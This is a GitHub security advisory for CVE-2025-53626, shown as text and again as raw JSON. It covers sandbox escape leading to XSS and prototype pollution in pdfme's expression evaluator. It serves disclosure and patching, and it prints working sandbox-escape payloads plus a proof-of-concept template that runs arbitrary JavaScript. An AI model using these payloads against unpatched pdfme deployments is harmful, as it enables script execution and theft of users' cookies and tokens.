GHSA-54XV-94QV-2GFG
Vulnerability from github – Published: 2025-07-10 17:43 – Updated: 2025-07-10 23:23
VLAI?
Summary
@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation
Details
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
- __lookupGetter__
- __lookupSetter__
- __defineGetter__
- __defineSetter__
Impact
These vulnerabilities allow attackers to: - Execute arbitrary JavaScript code in the context of the application - Steal sensitive information including cookies and tokens - Modify application behavior through prototype pollution - Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
Severity ?
6.1 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@pdfme/common"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53626"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-10T17:43:52Z",
"nvd_published_at": "2025-07-10T19:15:27Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator\u0027s sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) =\u003e f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n \"schemas\": [[{\n \"name\": \"field1\",\n \"type\": \"text\",\n \"content\": \"{ ((f, g) =\u003e f(g(Object), \u0027constructor\u0027).value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\u0027alert(location)\u0027)() }\",\n \"position\": { \"x\": 0, \"y\": 0 },\n \"width\": 100,\n \"height\": 100\n }]],\n \"basePdf\": { \"width\": 100, \"height\": 100 },\n \"pdfmeVersion\": \"5.4.0\"\n}\n```",
"id": "GHSA-54xv-94qv-2gfg",
"modified": "2025-07-10T23:23:06Z",
"published": "2025-07-10T17:43:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53626"
},
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/pull/1117"
},
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfme/pdfme"
},
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/releases/tag/5.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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